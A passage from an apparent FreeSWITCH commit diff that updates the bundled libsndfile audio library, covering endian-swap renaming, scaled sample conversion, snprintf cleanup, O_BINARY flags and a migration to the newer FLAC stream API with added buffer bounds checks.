+		convert (psf->u.dbuf, readcount, ptr + total, scale) ;
 		total += readcount ;
 		len -= readcount ;
 		if (readcount < bufferlen)
@@ -552,9 +583,12 @@
 
 static sf_count_t
 host_read_d2i	(SF_PRIVATE *psf, int *ptr, sf_count_t len)
-{	int			bufferlen, readcount ;
+{	void		(*convert) (const double *, int, int *, double) ;
+	int			bufferlen, readcount ;
 	sf_count_t	total = 0 ;
 	double		scale ;
+
+	convert = (psf->add_clipping) ? d2i_clip_array : d2i_array ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 	scale = (psf->float_int_mult == 0) ? 1.0 : 0x7FFFFFFF / psf->float_max ;
 
@@ -563,10 +597,10 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
-		d2i_array (psf->u.dbuf, readcount, ptr + total, scale) ;
+		convert (psf->u.dbuf, readcount, ptr + total, scale) ;
 		total += readcount ;
 		len -= readcount ;
 		if (readcount < bufferlen)
@@ -588,7 +622,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		d2f_array (psf->u.dbuf, readcount, ptr + total) ;
@@ -608,7 +642,7 @@
 
 	readcount = psf_fread (ptr, sizeof (double), len, psf) ;
 
-	if (psf->float_endswap != SF_TRUE)
+	if (psf->data_endswap != SF_TRUE)
 		return readcount ;
 
 	/* If the read length was sensible, endswap output in one go. */
@@ -635,19 +669,21 @@
 host_write_s2d	(SF_PRIVATE *psf, const short *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	double		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / 0x8000 ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
 
-		s2d_array (ptr + total, psf->u.dbuf, bufferlen) ;
+		s2d_array (ptr + total, psf->u.dbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			double64_peak_update (psf, psf->u.dbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -664,18 +700,20 @@
 host_write_i2d	(SF_PRIVATE *psf, const int *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	double		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / (8.0 * 0x10000000) ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		i2d_array (ptr + total, psf->u.dbuf, bufferlen) ;
+		i2d_array (ptr + total, psf->u.dbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			double64_peak_update (psf, psf->u.dbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -703,7 +741,7 @@
 		if (psf->peak_info)
 			double64_peak_update (psf, psf->u.dbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -724,7 +762,7 @@
 	if (psf->peak_info)
 		double64_peak_update (psf, ptr, len, 0) ;
 
-	if (psf->float_endswap != SF_TRUE)
+	if (psf->data_endswap != SF_TRUE)
 		return psf_fwrite (ptr, sizeof (double), len, psf) ;
 
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
@@ -762,7 +800,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		d2bd_read (psf->u.dbuf, bufferlen) ;
@@ -791,7 +829,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		d2bd_read (psf->u.dbuf, bufferlen) ;
@@ -818,7 +856,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		d2bd_read (psf->u.dbuf, bufferlen) ;
@@ -847,7 +885,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, readcount) ;
 
 		d2bd_read (psf->u.dbuf, readcount) ;
@@ -867,20 +905,22 @@
 replace_write_s2d	(SF_PRIVATE *psf, const short *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	double		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / 0x8000 ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		s2d_array (ptr + total, psf->u.dbuf, bufferlen) ;
+		s2d_array (ptr + total, psf->u.dbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			double64_peak_update (psf, psf->u.dbuf, bufferlen, total / psf->sf.channels) ;
 
 		bd2d_write (psf->u.dbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -897,20 +937,22 @@
 replace_write_i2d	(SF_PRIVATE *psf, const int *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	double		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / (8.0 * 0x10000000) ;
 	bufferlen = ARRAY_LEN (psf->u.dbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		i2d_array (ptr + total, psf->u.dbuf, bufferlen) ;
+		i2d_array (ptr + total, psf->u.dbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			double64_peak_update (psf, psf->u.dbuf, bufferlen, total / psf->sf.channels) ;
 
 		bd2d_write (psf->u.dbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -937,7 +979,7 @@
 
 		bd2d_write (psf->u.dbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -969,7 +1011,7 @@
 
 		bd2d_write (psf->u.dbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_double_array (psf->u.dbuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.dbuf, sizeof (double), bufferlen, psf) ;
@@ -999,10 +1041,3 @@
 		} ;
 } /* bd2d_write */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 4ee243b7-8c7a-469b-869c-e9aa0ee3b77f
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/dwd.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/dwd.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/dwd.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -33,7 +33,7 @@
 dwd_open	(SF_PRIVATE *psf)
 {	if (psf)
 		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
+	return 0 ;
 } /* dwd_open */
 
 #else
@@ -76,14 +76,14 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_DWD)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_DWD)
 		return	SFE_BAD_OPEN_FORMAT ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{
-		/*-psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		/*-psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (CPU_IS_LITTLE_ENDIAN && psf->endian == SF_ENDIAN_CPU)
 			psf->endian = SF_ENDIAN_LITTLE ;
 		else if (psf->endian != SF_ENDIAN_LITTLE)
@@ -107,10 +107,8 @@
 */
 
 static int
-dwd_close	(SF_PRIVATE *psf)
+dwd_close	(SF_PRIVATE * UNUSED (psf))
 {
-	psf = psf ;
-
 	return 0 ;
 } /* dwd_close */
 
@@ -201,10 +199,4 @@
 */
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: a5e1d2a6-a840-4039-a0e7-e1a43eb05a4f
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/dwvw.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/dwvw.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/dwvw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -31,10 +31,10 @@
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 typedef struct
@@ -154,11 +154,9 @@
 } /* dwvw_close */
 
 static sf_count_t
-dwvw_seek	(SF_PRIVATE *psf, int mode, sf_count_t offset)
+dwvw_seek	(SF_PRIVATE *psf, int UNUSED (mode), sf_count_t offset)
 {	DWVW_PRIVATE *pdwvw ;
 
-	mode = mode ;
-
 	if (! psf->codec_data)
 	{	psf->error = SFE_INTERNAL ;
 		return PSF_SEEK_ERROR ;
@@ -662,10 +660,3 @@
 	return total ;
 } /* dwvw_write_d */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 1ca09552-b01f-4d7f-9bcf-612f834fe41d
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/file_io.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/file_io.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/file_io.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2003 Ross Bencina <rbencina@iprimus.com.au>
 **
 ** This program is free software; you can redistribute it and/or modify
@@ -55,6 +55,15 @@
 
 #define	SENSIBLE_SIZE	(0x40000000)
 
+/*
+**	Neat solution to the Win32/OS2 binary file flage requirement.
+**	If O_BINARY isn't already defined by the inclusion of the system
+**	headers, set it to zero.
+*/
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
 static void psf_log_syserr (SF_PRIVATE *psf, int error) ;
 
 #if (USE_WINDOWS_API == 0)
@@ -114,7 +123,7 @@
 		return 0 ;
 
 	/* Test for MacOSX style resource fork on HPFS or HPFS+ filesystems. */
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s/rsrc", psf->filepath) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s/rsrc", psf->filepath) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->rsrcdes = psf_open_fd (psf->rsrcpath, open_mode)) >= 0)
 	{	psf->rsrclength = psf_get_filelen_fd (psf->rsrcdes) ;
@@ -133,7 +142,7 @@
 	** Now try for a resource fork stored as a separate file in the same
 	** directory, but preceded with a dot underscore.
 	*/
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s._%s", psf->directory, psf->filename) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s._%s", psf->directory, psf->filename) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->rsrcdes = psf_open_fd (psf->rsrcpath, open_mode)) >= 0)
 	{	psf->rsrclength = psf_get_filelen_fd (psf->rsrcdes) ;
@@ -144,7 +153,7 @@
 	** Now try for a resource fork stored in a separate file in the
 	** .AppleDouble/ directory.
 	*/
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s.AppleDouble/%s", psf->directory, psf->filename) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s.AppleDouble/%s", psf->directory, psf->filename) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->rsrcdes = psf_open_fd (psf->rsrcpath, open_mode)) >= 0)
 	{	psf->rsrclength = psf_get_filelen_fd (psf->rsrcdes) ;
@@ -526,17 +535,17 @@
 
 	switch (open_mode)
 	{	case SFM_READ :
-				oflag = O_RDONLY ;
+				oflag = O_RDONLY | O_BINARY ;
 				mode = 0 ;
 				break ;
 
 		case SFM_WRITE :
-				oflag = O_WRONLY | O_CREAT | O_TRUNC ;
+				oflag = O_WRONLY | O_CREAT | O_TRUNC | O_BINARY ;
 				mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH ;
 				break ;
 
 		case SFM_RDWR :
-				oflag = O_RDWR | O_CREAT ;
+				oflag = O_RDWR | O_CREAT | O_BINARY ;
 				mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH ;
 				break ;
 
@@ -545,11 +554,6 @@
 				break ;
 		} ;
 
-#if OS_IS_WIN32
-	/* For Cygwin. */
-	oflag |= O_BINARY ;
-#endif
-
 	if (mode == 0)
 		fd = open (pathname, oflag) ;
 	else
@@ -564,7 +568,7 @@
 	/* Only log an error if no error has been set yet. */
 	if (psf->error == 0)
 	{	psf->error = SFE_SYSTEM ;
-		LSF_SNPRINTF (psf->syserr, sizeof (psf->syserr), "System error : %s.", strerror (error)) ;
+		snprintf (psf->syserr, sizeof (psf->syserr), "System error : %s.", strerror (error)) ;
 		} ;
 
 	return ;
@@ -588,10 +592,6 @@
 #include <windows.h>
 #include <io.h>
 
-#ifndef HAVE_SSIZE_T
-typedef long ssize_t ;
-#endif
-
 static int psf_close_handle (HANDLE handle) ;
 static HANDLE psf_open_handle (const char * path, int mode) ;
 static sf_count_t psf_get_filelen_handle (HANDLE handle) ;
@@ -603,7 +603,7 @@
 	psf->hfile = psf_open_handle (pathname, open_mode) ;
 
 	if (psf->hfile == NULL)
-		psf_log_syserr (psf, GetLastError()) ;
+		psf_log_syserr (psf, GetLastError ()) ;
 
 	psf->mode = open_mode ;
 
@@ -637,7 +637,7 @@
 		return 0 ;
 
 	/* Test for MacOSX style resource fork on HPFS or HPFS+ filesystems. */
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s/rsrc", psf->filepath) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s/rsrc", psf->filepath) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->hrsrc = psf_open_handle (psf->rsrcpath, open_mode)) != NULL)
 	{	psf->rsrclength = psf_get_filelen_handle (psf->hrsrc) ;
@@ -648,7 +648,7 @@
 	** Now try for a resource fork stored as a separate file in the same
 	** directory, but preceded with a dot underscore.
 	*/
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s._%s", psf->directory, psf->filename) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s._%s", psf->directory, psf->filename) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->hrsrc = psf_open_handle (psf->rsrcpath, open_mode)) != NULL)
 	{	psf->rsrclength = psf_get_filelen_handle (psf->hrsrc) ;
@@ -659,7 +659,7 @@
 	** Now try for a resource fork stored in a separate file in the
 	** .AppleDouble/ directory.
 	*/
-	LSF_SNPRINTF (psf->rsrcpath, sizeof (psf->rsrcpath), "%s.AppleDouble/%s", psf->directory, psf->filename) ;
+	snprintf (psf->rsrcpath, sizeof (psf->rsrcpath), "%s.AppleDouble/%s", psf->directory, psf->filename) ;
 	psf->error = SFE_NO_ERROR ;
 	if ((psf->hrsrc = psf_open_handle (psf->rsrcpath, open_mode)) != NULL)
 	{	psf->rsrclength = psf_get_filelen_handle (psf->hrsrc) ;
@@ -806,7 +806,7 @@
 			NULL
 			) ;
 
-		LSF_SNPRINTF (psf->syserr, sizeof (psf->syserr), "System error : %s", lpMsgBuf) ;
+		snprintf (psf->syserr, sizeof (psf->syserr), "System error : %s", (char*) lpMsgBuf) ;
 		LocalFree (lpMsgBuf) ;
 		} ;
 
@@ -858,8 +858,10 @@
 /* USE_WINDOWS_API */ void
 psf_set_file (SF_PRIVATE *psf, int fd)
 {	HANDLE handle ;
+	intptr_t osfhandle ;
 
-	handle = (HANDLE) _get_osfhandle (fd) ;
+	osfhandle = _get_osfhandle (fd) ;
+	handle = (HANDLE) osfhandle ;
 
 	psf->hfile = handle ;
 } /* psf_set_file */
@@ -1159,10 +1161,6 @@
 #include <io.h>
 #include <direct.h>
 
-#ifndef HAVE_SSIZE_T
-typedef long ssize_t ;
-#endif
-
 /* Win32 */ int
 psf_fopen (SF_PRIVATE *psf, const char *pathname, int open_mode)
 {	int oflag, mode ;
@@ -1518,7 +1516,7 @@
 	/* Only log an error if no error has been set yet. */
 	if (psf->error == 0)
 	{	psf->error = SFE_SYSTEM ;
-		LSF_SNPRINTF (psf->syserr, sizeof (psf->syserr), "System error : %s", strerror (error)) ;
+		snprintf (psf->syserr, sizeof (psf->syserr), "System error : %s", strerror (error)) ;
 		} ;
 
 	return ;
@@ -1526,10 +1524,3 @@
 
 #endif
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 749740d7-ecc7-47bd-8cf7-600f31d32e6d
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/flac.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/flac.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/flac.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2004, 2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2004-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2004 Tobias Gehrig <tgehrig@ira.uka.de>
 **
 ** This program is free software ; you can redistribute it and/or modify
@@ -24,48 +24,43 @@
 #include	<fcntl.h>
 #include	<string.h>
 #include	<ctype.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"common.h"
 
+#if HAVE_EXTERNAL_LIBS
 
-#ifndef HAVE_FLAC_ALL_H
+#include	<FLAC/stream_decoder.h>
+#include	<FLAC/stream_encoder.h>
+#include	<FLAC/metadata.h>
 
-int
-flac_open (SF_PRIVATE *psf)
-{	if (psf)
-		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
-} /* flac_open */
-
-
-#else
-
-#include	<FLAC/all.h>
-
 #include	"sfendian.h"
-#include	"float_cast.h"
 
 /*------------------------------------------------------------------------------
 ** Private static functions.
 */
 
-#define ENC_BUFFER_SIZE 4096
+#define ENC_BUFFER_SIZE 8192
 
 typedef enum
-{	PFLAC_PCM_SHORT = 0,
-	PFLAC_PCM_INT = 1,
-	PFLAC_PCM_FLOAT = 2,
-	PFLAC_PCM_DOUBLE = 3
+{	PFLAC_PCM_SHORT = 50,
+	PFLAC_PCM_INT = 51,
+	PFLAC_PCM_FLOAT = 52,
+	PFLAC_PCM_DOUBLE = 53
 } PFLAC_PCM ;
 
 typedef struct
-{	FLAC__SeekableStreamDecoder *fsd ;
-	FLAC__SeekableStreamEncoder *fse ;
+{
+	FLAC__StreamDecoder *fsd ;
+	FLAC__StreamEncoder *fse ;
+
 	PFLAC_PCM pcmtype ;
 	void* ptr ;
 	unsigned pos, len, remain ;
 
+	FLAC__StreamMetadata *metadata ;
+
 	const FLAC__int32 * const * wbuffer ;
 	FLAC__int32 * rbuffer [FLAC__MAX_CHANNELS] ;
 
@@ -76,6 +71,11 @@
 	FLAC__bool bufferbackup ;
 } FLAC_PRIVATE ;
 
+typedef struct
+{	const char *tag ;
+	int type ;
+} FLAC_TAG ;
+
 static sf_count_t	flac_seek (SF_PRIVATE *psf, int mode, sf_count_t offset) ;
 static int			flac_close (SF_PRIVATE *psf) ;
 
@@ -108,21 +108,19 @@
 static int flac_command (SF_PRIVATE *psf, int command, void *data, int datasize) ;
 
 /* Decoder Callbacks */
-static FLAC__SeekableStreamDecoderReadStatus sf_flac_read_callback (const FLAC__SeekableStreamDecoder *decoder, FLAC__byte buffer [], unsigned *bytes, void *client_data) ;
-static FLAC__SeekableStreamDecoderSeekStatus sf_flac_seek_callback (const FLAC__SeekableStreamDecoder *decoder, FLAC__uint64 absolute_byte_offset, void *client_data) ;
-static FLAC__SeekableStreamDecoderTellStatus sf_flac_tell_callback (const FLAC__SeekableStreamDecoder *decoder, FLAC__uint64 *absolute_byte_offset, void *client_data) ;
-static FLAC__SeekableStreamDecoderLengthStatus sf_flac_length_callback (const FLAC__SeekableStreamDecoder *decoder, FLAC__uint64 *stream_length, void *client_data) ;
-static FLAC__bool sf_flac_eof_callback (const FLAC__SeekableStreamDecoder *decoder, void *client_data) ;
-static FLAC__StreamDecoderWriteStatus sf_flac_write_callback (const FLAC__SeekableStreamDecoder *decoder, const FLAC__Frame *frame, const FLAC__int32 * const buffer [], void *client_data) ;
-static void sf_flac_meta_callback (const FLAC__SeekableStreamDecoder *decoder, const FLAC__StreamMetadata *metadata, void *client_data) ;
-static void sf_flac_error_callback (const FLAC__SeekableStreamDecoder *decoder, FLAC__StreamDecoderErrorStatus status, void *client_data) ;
+static FLAC__StreamDecoderReadStatus sf_flac_read_callback (const FLAC__StreamDecoder *decoder, FLAC__byte buffer [], size_t *bytes, void *client_data) ;
+static FLAC__StreamDecoderSeekStatus sf_flac_seek_callback (const FLAC__StreamDecoder *decoder, FLAC__uint64 absolute_byte_offset, void *client_data) ;
+static FLAC__StreamDecoderTellStatus sf_flac_tell_callback (const FLAC__StreamDecoder *decoder, FLAC__uint64 *absolute_byte_offset, void *client_data) ;
+static FLAC__StreamDecoderLengthStatus sf_flac_length_callback (const FLAC__StreamDecoder *decoder, FLAC__uint64 *stream_length, void *client_data) ;
+static FLAC__bool sf_flac_eof_callback (const FLAC__StreamDecoder *decoder, void *client_data) ;
+static FLAC__StreamDecoderWriteStatus sf_flac_write_callback (const FLAC__StreamDecoder *decoder, const FLAC__Frame *frame, const FLAC__int32 * const buffer [], void *client_data) ;
+static void sf_flac_meta_callback (const FLAC__StreamDecoder *decoder, const FLAC__StreamMetadata *metadata, void *client_data) ;
+static void sf_flac_error_callback (const FLAC__StreamDecoder *decoder, FLAC__StreamDecoderErrorStatus status, void *client_data) ;
 
 /* Encoder Callbacks */
-static FLAC__SeekableStreamEncoderSeekStatus sf_flac_enc_seek_callback (const FLAC__SeekableStreamEncoder *encoder, FLAC__uint64 absolute_byte_offset, void *client_data) ;
-#ifdef HAVE_FLAC_1_1_1
-static FLAC__SeekableStreamEncoderTellStatus sf_flac_enc_tell_callback (const FLAC__SeekableStreamEncoder *encoder, FLAC__uint64 *absolute_byte_offset, void *client_data) ;
-#endif
-static FLAC__StreamEncoderWriteStatus sf_flac_enc_write_callback (const FLAC__SeekableStreamEncoder *encoder, const FLAC__byte buffer [], unsigned bytes, unsigned samples, unsigned current_frame, void *client_data) ;
+static FLAC__StreamEncoderSeekStatus sf_flac_enc_seek_callback (const FLAC__StreamEncoder *encoder, FLAC__uint64 absolute_byte_offset, void *client_data) ;
+static FLAC__StreamEncoderTellStatus sf_flac_enc_tell_callback (const FLAC__StreamEncoder *encoder, FLAC__uint64 *absolute_byte_offset, void *client_data) ;
+static FLAC__StreamEncoderWriteStatus sf_flac_enc_write_callback (const FLAC__StreamEncoder *encoder, const FLAC__byte buffer [], size_t bytes, unsigned samples, unsigned current_frame, void *client_data) ;
 
 static const int legal_sample_rates [] =
 {	8000, 16000, 22050, 24000, 32000, 44100, 48000, 96000
@@ -172,6 +170,17 @@
 	const FLAC__int32* const *buffer = pflac->wbuffer ;
 	unsigned i = 0, j, offset ;
 
+	/*
+	**	frame->header.blocksize is variable and we're using a constant blocksize
+	**	of FLAC__MAX_BLOCK_SIZE.
+	**	Check our assumptions here.
+	*/
+	if (frame->header.blocksize > FLAC__MAX_BLOCK_SIZE)
+	{	psf_log_printf (psf, "Ooops : frame->header.blocksize (%d) > FLAC__MAX_BLOCK_SIZE (%d)\n", __func__, __LINE__, frame->header.blocksize, FLAC__MAX_BLOCK_SIZE) ;
+		psf->error = SFE_INTERNAL ;
+		return 0 ;
+		} ;
+
 	if (pflac->ptr == NULL)
 	{	/*
 		**	Not sure why this code is here and not elsewhere.
@@ -179,8 +188,10 @@
 		*/
 		pflac->bufferbackup = SF_TRUE ;
 		for (i = 0 ; i < frame->header.channels ; i++)
-		{	if (pflac->rbuffer [i] == NULL)
-				pflac->rbuffer [i] = calloc (frame->header.blocksize, sizeof (FLAC__int32)) ;
+		{
+			if (pflac->rbuffer [i] == NULL)
+				pflac->rbuffer [i] = calloc (FLAC__MAX_BLOCK_SIZE, sizeof (FLAC__int32)) ;
+
 			memcpy (pflac->rbuffer [i], buffer [i], frame->header.blocksize * sizeof (FLAC__int32)) ;
 			} ;
 		pflac->wbuffer = (const FLAC__int32* const*) pflac->rbuffer ;
@@ -190,12 +201,16 @@
 
 	switch (pflac->pcmtype)
 	{	case PFLAC_PCM_SHORT :
-			{	short *retpcm = ((short*) pflac->ptr) ;
+			{	short *retpcm = (short*) pflac->ptr ;
 				int shift = 16 - frame->header.bits_per_sample ;
 				if (shift < 0)
 				{	shift = abs (shift) ;
 					for (i = 0 ; i < frame->header.blocksize && pflac->remain > 0 ; i++)
 					{	offset = pflac->pos + i * frame->header.channels ;
+
+						if (pflac->bufferpos >= frame->header.blocksize)
+							break ;
+
 						for (j = 0 ; j < frame->header.channels ; j++)
 							retpcm [offset + j] = buffer [j][pflac->bufferpos] >> shift ;
 						pflac->remain -= frame->header.channels ;
@@ -220,7 +235,7 @@
 			break ;
 
 		case PFLAC_PCM_INT :
-			{	int *retpcm = ((int*) pflac->ptr) ;
+			{	int *retpcm = (int*) pflac->ptr ;
 				int shift = 32 - frame->header.bits_per_sample ;
 				for (i = 0 ; i < frame->header.blocksize && pflac->remain > 0 ; i++)
 				{	offset = pflac->pos + i * frame->header.channels ;
@@ -237,7 +252,7 @@
 			break ;
 
 		case PFLAC_PCM_FLOAT :
-			{	float *retpcm = ((float*) pflac->ptr) ;
+			{	float *retpcm = (float*) pflac->ptr ;
 				float norm = (psf->norm_float == SF_TRUE) ? 1.0 / (1 << (frame->header.bits_per_sample - 1)) : 1.0 ;
 
 				for (i = 0 ; i < frame->header.blocksize && pflac->remain > 0 ; i++)
@@ -255,7 +270,7 @@
 			break ;
 
 		case PFLAC_PCM_DOUBLE :
-			{	double *retpcm = ((double*) pflac->ptr) ;
+			{	double *retpcm = (double*) pflac->ptr ;
 				double norm = (psf->norm_double == SF_TRUE) ? 1.0 / (1 << (frame->header.bits_per_sample - 1)) : 1.0 ;
 
 				for (i = 0 ; i < frame->header.blocksize && pflac->remain > 0 ; i++)
@@ -283,51 +298,51 @@
 } /* flac_buffer_copy */
 
 
-static FLAC__SeekableStreamDecoderReadStatus
